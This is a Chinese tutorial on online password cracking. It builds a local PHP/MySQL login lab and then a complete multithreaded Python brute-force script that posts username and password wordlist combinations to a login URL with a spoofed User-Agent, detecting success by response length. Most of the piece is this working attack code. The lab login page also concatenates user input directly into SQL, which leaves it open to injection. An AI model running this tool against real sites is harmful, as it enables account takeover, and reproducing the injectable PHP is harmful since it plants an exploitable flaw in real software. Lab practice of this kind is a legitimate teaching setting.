在線密碼破解
- 什麼是在線密碼破解
針對在線服務的認證憑證進行合法的用戶枚舉
離線密碼破解:拿到密文之後去破解
- Web安全中用來破解的工具Burpsuite
基於表單驗證的破解
基於http認證的破解
環境搭建
phpstudy啓動對應服務
mysql創建本次實驗所需環境
- 創建數據庫/數據表/插入數據
編寫登錄頁面
- html編寫登錄框
- php連接數據庫並將登錄數據進行查詢
登錄數據庫創建環境
create database test;
create table testbiao(name varchar(25),password varchar(25));
insert into testbiao values("daming","mingda");
sublime text3 編寫php連接數據庫代碼
<html>
<body>
<form action="index.php" method="post">
用戶名: <input type="text" name="user"/>
密碼: <input type="text" name="password"/>
<input type="submit" name="">
</form>
<?php #連接mysql數據庫
$con = mysqli_connect("127.0.0.1" ,"root","root","test");
echo "歡迎登錄<br>";
$zh = $_POST['user'];
$mima = $_POST['password'];
#將登錄名以及登錄密碼拿到數據庫查詢
$sql = "select * from testbiao where name = '$zh' and passwd = '$mima'";
$query = mysqli_query($con,$sql);
while($row = mysqli_fetch_array($query))
{ #提取第一條查詢到的信息,數據一致則登錄成功
echo "<br>login successful <br>"
;}
;#關閉連接
mysqli_free_result($query);
mysqli_close($con);
?>
</body>
</html>
命令行模塊介紹
- optparse模塊介紹
- 使用步驟
- 導入optparse
- 初始化optparse.OptionParse
- 初始化對象的 usage屬性
- 添加參數
parser.add_options(‘-u’,’--userfile’,-dest=”username_file”,-help=’read username from file’,metavar= ‘FILE’,action=’store’,type=’string’)
存儲提交的命令行參數(options,args)=parser.parse_args() 使用parser.parse_args()進行存儲,使用一個元組來進行接收 測試輸出 print(options.username_file)
import optparse
parser = optparse.OptionParser()
parser.usage = "command_args.py -u user_file" #dest就是參數存在option中的位置
parser.add_option("-u","--user_file",help="read username from file",action="store",type="string",metavar="FILE",dest="username_file")
(option,args) = parser.parse_args()
print(option.username_file)
輸出幫助信息可以看到metavar起到一個佔位的作用
optparse.add_option更多詳細信息
1.-u,--userfile 表示一個是短選項 一個是長選項
2.dest='username_file' 將該用戶輸入的參數保存到變量user中,可以通過options.user方式來獲取該值
3.type=string,表示這個參數值的類型必須是str字符型,如果是其他類型那麼將強制轉換爲str(可能會報錯)
4.metavar='user',當用戶查看幫助信息,如果metavar沒有設值,那麼顯示的幫助信息的參數後面默認帶上dest所定義的變量名
5.help='Enter..',顯示的幫助提示信息
6.default=3306,表示如果參數後面沒有跟值,那麼將默認爲變量default的值
7.parse.set_defaults(v=1.2) 也可以這樣設置默認值
Web密碼破解命令行讀取模板編寫
- 需要讀取用戶名 usernam
- 需要讀取用戶密碼 password
- 需要讀取目標鏈接 url
- 需要讀取線程數 threads
import optparse
parser = optparse.OptionParser()
parser.usage=('web_brute_command.py -s url -p pass_file -t num')
parser.add_option('-s','--site',dest='website',help="website to test",action="store",type="string",metavar="URL")
parser.add_option("-u","--userfile",dest="userfile",help="username from file",action="store",type="string",metavar='USERFILE')
parser.add_option('-p','--passfile',dest="passfile",help="password from file",action="store",type="string",metavar="PASSFILE")
parser.add_option('-t','--thread',dest="threads",help="number of threads",action="store",type="int",metavar=' THREADS')
(options,args) = parser.parse_args()
print(options.website)
print(options.userfile)
print(options.passfile)
print(options.threads)
輸出幫助信息
payload確定
- 思路
- 用戶名循環讀取,密碼根據線程數均分,用戶名和密碼組合,使用多線程掃描探測
新建一個密碼列表[[],[],[]] 第一,讀取所有密碼字典中的內容到要給列表中,確定字典行數 第二,使用臨時列表獲取到的項數 除以 線程數 來確認每一個線程的項數
with open('passwd.txt') as f:
temp_list = f.readlines()
temp_thread_list = [] #臨時列表用來追加數據
num = len(temp_list)
result = num/ths #使用臨時列表獲取到的項數 除以 線程數 來確認每一個線程的項數
result = math.floor(result) #向下取整獲得爲整數的線程數
result_num = result
flag = 0
for line in temp_list:
flag += 1
temp_thread_list.append(line.strip())
if flag == result_num:
flag = 0
pass_list.append(temp_thread_list)
temp_thread_list = [] #將臨時線程列表初始化等於空
for line in temp_thread_list:
pass_list[ths-1].append(line)
密碼字典確認與多線程訪問
- 根據線程數確認
- payload -> pass_list加上用戶名組合成一個線程使用的payload
- Python中的多線程訪問
- Import threading
- threading.Thread(target=函數名,args=(參數))
- 開啓線程,start()
- 工具中使用線程多列表
ths_list = [] #用來存儲總線程
with open(user_dic,'r') as f:
user_list = f.readlines()
for user in user_list:
for pass_line in pass_list:
payload = {'user':user.strip(),'pass_list':pass_line}
ths_list.append(threading.Thread(target=scan,args=(payload,)))
#payload後跟着,表示傳遞的是一個元組
for th in ths_list:
th.start() #啓動線程
掃描模塊編寫
- 確認登錄失敗的字符長度,相比較字符長度比一致的則爲破解成功
- 修改默認的User-Agent
- 僞造錯誤的登錄信息,
- requets.post()提交參數
- 參數獲得
- payload[“user”]
- payload[“psssword”]
- 與登錄失敗的字符長度進行對比
- 輸出登錄成功的鏈接
def test(): #獲得登錄失敗的text長度,後面用於比較
url = "http://192.168.3.102/index.php"
header = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36"}
r = requests.post(url,data={'user':'asdf','password':'adsf'},headers=header)
return len(r.text)
error_len = test()
def scan(payload):
user = payload["user"]
pass_list = payload["pass_list"]
for password in pass_list:
header = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36"}
r = requests.post(url=site,data={"user":user,"password":password},headers=header)
if len(r.text) != error_len: #判斷非登錄失敗的值
print("url:", site + " " + 'username:' + user + " " + 'password:' + password + " " + 'length: ' + str(len(r.text)) + "\r\n")
print()
完整代碼
import optparse
import math
import threading
import requests
parser = optparse.OptionParser()
parser.usage=('web_brute_command.py -s url -p pass_file -t num')
parser.add_option('-s','--site',dest='website',help="website to test",action="store",type="string",metavar="URL")
parser.add_option("-u","--userfile",dest="userfile",help="username from file",action="store",type="string",metavar='USERFILE')
parser.add_option('-p','--passfile',dest="passfile",help="password from file",action="store",type="string",metavar="PASSFILE")
parser.add_option('-t','--thread',dest="threads",help="number of threads",action="store",type="int",metavar=' THREADS')
(options,args) = parser.parse_args()
#使用parser.parse_args()來存儲參數,前面使用一個元組來進行接收
ths = options.threads
user_dic = options.userfile
pass_dic = options.passfile
site = options.website
pass_list = [] # 新建一個密碼列表[[],[],[]]
result_num = 0 #表示線程要讀取內容行數
#第一步,讀取所有密碼字典中的內容到要給列表中,確定字典行數
with open('passwd.txt') as f:
temp_list = f.readlines()
temp_thread_list = []
num = len(temp_list)
result = num/ths #使用臨時列表獲取到的項數 除以 線程數 來確認每一個線程的項數
result = math.floor(result)
result_num = result
flag = 0
for line in temp_list:
flag += 1
temp_thread_list.append(line.strip())
if flag == result_num:
flag = 0
pass_list.append(temp_thread_list)
temp_thread_list = [] #將臨時線程列表初始化等於空
for line in temp_thread_list:
pass_list[ths-1].append(line)
def test(): #獲得登錄失敗的text長度,後面用於比較
url = "http://192.168.3.102/index.php"
header = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36"}
r = requests.post(url,data={'user':'asdf','password':'adsf'},headers=header)
return len(r.text)
error_len = test()
def scan(payload):
user = payload["user"]
pass_list = payload["pass_list"]
for password in pass_list:
header = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36"}
r = requests.post(url=site,data={"user":user,"password":password},headers=header)
if len(r.text) != error_len: #判斷非登錄失敗的值
print("url:", site + " " + 'username:' + user + " " + 'password:' + password + " " + 'length: ' + str(len(r.text)) + "\r\n")
print()
ths_list = [] #用來存儲總線程
with open(user_dic,'r') as f:
user_list = f.readlines()
for user in user_list:
for pass_line in pass_list:
payload = {'user':user.strip(),'pass_list':pass_line}
ths_list.append(threading.Thread(target=scan,args=(payload,)))
#payload後跟着,表示傳遞的是一個元組
for th in ths_list:
th.start() #啓動線程
運行效果